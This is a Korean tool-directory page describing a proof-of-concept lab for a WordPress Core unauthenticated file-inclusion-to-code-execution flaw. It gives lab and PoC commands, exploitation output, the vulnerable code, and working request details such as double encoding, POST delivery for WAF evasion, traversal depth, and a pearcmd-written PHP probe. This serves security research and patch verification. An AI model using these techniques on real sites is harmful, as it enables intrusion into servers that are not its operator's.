Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-87902 — WordPress Core <= 7.1.1 비인증 LFI에서 RCE로 - 검증 랩, PoC, nuclei 템플릿 (GHSA-7hp8-65ch-5whp) | Kitploit
도구/GitHubGitHub/hassham1/cve-2026-87902
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPapers & ResearchLearning & EducationPayload DevelopmentLabs & Practice
GitHub
1519시간 3분 전아직 검토되지 않음
hassham1/cve-2026-87902

CVE-2026-87902

WordPress Core <= 7.1.1 비인증 LFI에서 RCE로 - 검증 랩, PoC, nuclei 템플릿 (GHSA-7hp8-65ch-5whp)

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-87902 - WordPress 코어 비인증 LFI → RCE 검증 랩

격리된 루프백 전용 Docker 랩에서 CVE-2026-87902 (GHSA-7hp8-65ch-5whp)를 재현하고 검증하기 위한 보안 연구 자료: WordPress 코어 페이지 템플릿 해석 과정의 비인증 로컬 파일 포함 취약점으로, 원격 코드 실행까지 확대 가능하다.

  • 영향받는 버전: WordPress 4.7.0 ~ 7.1.1 (모든 유지보수 브랜치)
  • 수정됨: 7.1.2 및 브랜치별 백포트 (4.7.37, 5.9.18, 6.9.9, 7.0.6, …) - 2026년 9월 22일
  • CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
  • CWE-98 - Include/Require 구문의 파일명 부적절 제어

판정

상태: 제공된 랩에서 입증됨.

WordPress 7.1.1 (Twenty Twelve 테마)은 비인증 공격자가 pagename 쿼리 변수를 통해 테마 디렉터리 외부의 PHP 파일을 포함할 수 있게 하며, 공식 PHP 이미지의 기본 register_argc_argv = On 설정과 함께라면 PEAR pearcmd.php를 통해 마커 파일을 작성하고 실행할 수 있다:

root@kitploit:~
WordPress: 7.1.1
Theme:     twentytwelve (page-templates/ present)
PHP:       8.2 (official image, register_argc_argv=On, PEAR present)
Result:    LFI oracle fired (<opml version="1.0">); marker probe executed as
           uid=33(www-data) and self-deleted

동일한 설정의 WordPress 7.1.2는 오라클을 완전히 차단한다 (음성 대조군). 이는 컨테이너 내부에서 WordPress 웹 서버 사용자 권한의 코드 실행을 입증한다. 루트 접근, 컨테이너 탈출, 측면 이동, 호스트 침해는 입증하지 않는다.

빠른 시작

요구사항: Compose v2가 포함된 Docker, Python 3.10+, Docker Hub 및 wordpress.org (테마 설치)에 대한 네트워크 접근.

root@kitploit:~
./lab verify

취약한 랩을 빌드하고 LFI 오라클과 RCE 마커가 발동할 것을 요구한 다음, 패치된 랩을 빌드하고 오라클이 침묵할 것을 요구한다.

다른 루프백 포트를 사용하려면: LAB_PORT=9499 ./lab verify.

이후 모든 것을 제거하려면 ./lab reset.

예상 증거

취약한 대조군:

root@kitploit:~
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
  evidence: uid=33(www-data) (command `id` ran as the web user)
  cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED

패치된 대조군:

root@kitploit:~
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED

HTTP 200, WAF 차단, 또는 오라클 마커 없는 부분적 트래버설은 증거로 인정되지 않는다.

수동 랩 라이프사이클

root@kitploit:~
./lab start vulnerable   # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test               # assert LFI + RCE
./lab start patched      # fresh 7.1.2 lab
./lab test               # assert oracle absence
./lab status
./lab reset              # containers, volumes, state

실행 중인 랩에 대해 도구를 직접 실행:

root@kitploit:~
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent

소유하거나 명시적으로 테스트 권한을 부여받은 시스템(버그 바운티 범위, 서면 계약)의 경우, 드라이버는 명시적 오버라이드를 요구한다:

root@kitploit:~
python3 poc/poc_cve_2026_87902.py --url https://target.example \
  --allow-authorized-non-loopback [--insecure] [--rce]

근본 원인

wp-includes/template.php의 get_page_template()은 pagename 쿼리 변수로부터 후보 템플릿 파일명을 구성한다. 세 줄 위의 형제 분기는 페이지 템플릿 슬러그를 validate_file()을 통해 전달하지만, pagename 분기는 그렇게 하지 않았으며, 추가로 urldecode()로 디코딩된 후보를 하나 더 추가한다:

root@kitploit:~
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // 7.1.2 adds validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

7.1.2는 디코딩된 후보에 validate_file()을 적용하고 추가로 모든 해석된 템플릿 경로가 통과해야 하는 포함 게이트 (_wp_is_template_path_allowed())를 추가한다.

전제 조건

  1. 활성 테마(자식 또는 부모 - locate_template()은 둘 다 확인)가 page-로 시작하는 최상위 디렉터리를 포함해야 한다. 레거시 기본 테마(Twenty Twelve, Twenty Fourteen)와 여러 wp.org 테마(Neve, Hestia, Sydney)가 해당된다. 조사된 상용 테마(Divi, Avada, Flatsome, Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez, XStore, Kalium, Uncode)는 전혀 포함하지 않는다 - 트래버설이 해석될 수 없다; 미러 소스 목록은 PoC의 PRO_THEME_PAGE_DIRS를 참조.
  2. 포함되는 파일은 .php로 끝나야 한다 (코드에 의해 추가됨).
  3. RCE는 추가로 register_argc_argv = On과 PEAR의 pearcmd.php가 필요하다.

랩에서 검증된 운영 노트 (공개 권고문을 넘어서)

권고문과 Patchstack의 글은 작동하는 요청을 공개하지 않는다. 이 세부 사항들은 이 랩에서 경험적으로 확립되었다:

  1. page_id 앵커가 필수적이다. 해석되지 않는 pagename은 is_404를 뒤집고, 그 템플릿이 get_page_template()을 완전히 가린다. 해석 가능한 게시된 page_id로 쿼리를 앵커링하라.
  2. 완전한 이중 인코딩이 필요하다. get_posts()는 pagename을 sanitize_title_for_query( wp_basename( … ) )를 통해 재작성한다: 원시 ..는 -가 되지만 %hex 시퀀스는 살아남는다; get_page_template()의 추가 urldecode()가 트래버설을 드러낸다. %252e/%252f만 작동한다.
  3. Pretty permalinks는 POST를 강제한다 (redirect_canonical이 GET을 301 리다이렉트하고 페이로드를 버린다; 비 GET/HEAD에 대해서는 즉시 반환한다).
  4. 정확한 깊이: 표준 docroot에서 page-templates/로부터 ../ 네 번.
  5. 페이로드는 POST 본문에서도 발동한다 (WP는 $_POST를 쿼리 변수에 병합한다) - WAF 우회 계층의 기반.
  6. pearcmd 전송 특이사항: PHP는 $argv 토큰을 urldecode하지 않고, PEAR의 설정 직렬화기는 두 인용 스타일 모두 이스케이프한다 - 따라서 원시적이고 인용 없는 + 구분 프로브.

툴킷

경로목적
poc/poc_cve_2026_87902.py전체 PoC: 버전 + WAF 핑거프린팅, 테마/page-* 폴더 열거 (wp.org SVN, 에셋 참조 발견, 조사된 프로 테마 맵), 앵커 발견, 8가지 변형 LFI 오라클, 비교용 빈 본문 폴백 오라클, --rce pearcmd 체인, --lab docker 데모
poc/triage_cve_2026_87902.py명명된 실패 게이트와 함께 대상별 또는 배치 판정 (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE)
poc/bounty_screen.py범위 내 버그 바운티 자산 목록을 처리: crt.sh 와일드카드 확장 → WP 필터 → 전제 조건 스크린 → 후보 핸드오프
nuclei/cve-2026-87902.yamlNuclei 템플릿: 안전한 LFI 오라클 (174개 페이로드: 10개 page-* 나머지, 이중/삼중 인코딩 계층, id 1–30)

WAF 핑거프린팅은 Imperva/Incapsula, Cloudflare, Akamai, AWS CloudFront/WAF, Sucuri, F5를 포함한다. 8가지 오라클 변형: 이중 인코딩, 대체 %25%32%65 표기, 파라미터 오염, 삼중 인코딩 - 각각 쿼리 스트링과 POST 본문에서. 멀티파트 본문과 원시 슬래시 페이로드는 테스트되었고 거부되었다 (WP는 이 싱크에 대해 이를 처리하지 않는다).

영향받는 버전 및 테스트된 버전

버전평가
WordPress 7.1.1LFI + pearcmd RCE 종단 간 재현됨
WordPress 6.5.3 / 5.9.17LFI 오라클 재현됨
WordPress 4.7.0–7.1.1 (기타 브랜치)영향받는 것으로 보고됨; GHSA별 브랜치 표
WordPress 7.1.2패치된 음성 대조군 재현됨

저장소 구조

root@kitploit:~
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│   └── cve-2026-87902.yaml
└── poc/
    ├── bounty_screen.py
    ├── poc_cve_2026_87902.py
    └── triage_cve_2026_87902.py

커밋되지 않음: .lab-state, __pycache__/, 스크리너 출력 파일.

검증 경계

주장상태
테마 디렉터리 외부의 비인증 LFI입증됨 (7.1.1, 6.5.3, 5.9.17)
웹 사용자로서 pearcmd.php config-create를 통한 RCE입증됨 (7.1.1 랩)
프로브 자체 삭제 / 지속적 아티팩트 없음입증됨
패치된 음성 대조군 (7.1.2)입증됨
모든 중간 영향 릴리스 테스트테스트되지 않음
실제 상용 WAF에 대한 WAF 우회 변형랩에서 도출됨, WAF 테스트되지 않음
루트 권한 / 컨테이너 탈출 / 호스트 침해주장하지 않음

참고 자료

  • GHSA-7hp8-65ch-5whp
  • Patchstack: WordPress 7.1.2 보안 릴리스 - 비인증 LFI에서 RCE로
  • Hadrian: CVE-2026-87902 작동 PoC - 독립적 재구성 (page_id 앵커와 이중 인코딩 요구사항을 확인; 비교용 wp-content/index.php 빈 본문 오라클의 출처로, 강화된 사이트를 위한 폴백으로 여기에 포함됨)
  • dinosn: cve-2026-87902-wordpress-lfi-lab (동일한 요청 형태에 도달한 독립 랩; 모든 오라클 적중에 현재 적용되는 존재하지 않는 대상 인과 대조군의 출처)
  • WordPress 7.1.2 릴리스 공지
  • NVD 항목

취약점은 Robert Ressl에 의해 보고되었다. 이 저장소는 독립적인 제3자 분석 및 도구이다.

라이선스

MIT - LICENSE 참조.

안전 경계

이 저장소는 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에서만 실행하라. 랩 드라이버는 vulnerable/patched 이외의 변형을 거부하고, Python 드라이버는 --allow-authorized-non-loopback이 제공되지 않는 한 비루프백 대상을 거부하며, Compose 포트는 127.0.0.1에 바인딩된다.

공개 처리에 대해서는 SECURITY.md를 참조. 이 저장소는 프로덕션 대상, 고객 데이터, 액세스 토큰, 또는 실제 시스템의 증거를 포함하지 않는다.

구체적으로:

  • Docker는 WordPress를 127.0.0.1에만 게시한다.
  • 기본 PoC 모드는 무해한 LFI 오라클이다: OPML 문서를 출력하는 스톡 코어 파일인 wp-links-opml.php를 포함한다.
  • --rce는 옵트인이며, 공개적으로 문서화된 pearcmd.php config-create 기법을 통해 인용 없는, 자체 삭제 마커 프로브 (<?=id,unlink(__FILE__)?>)를 작성한다; 프로브는 단일 실행 시 스스로를 제거하고 PoC가 삭제를 검증한다. 셸, 콜백, 지속성 없음.
  • 랩은 매 start마다 원본 공식 이미지에서 재프로비저닝한다; 대상 계측 없음.
  • 요청은 단일 호스트, 순차적, 속도 제한된다. 대량 스캔 없음.
도구 다운로드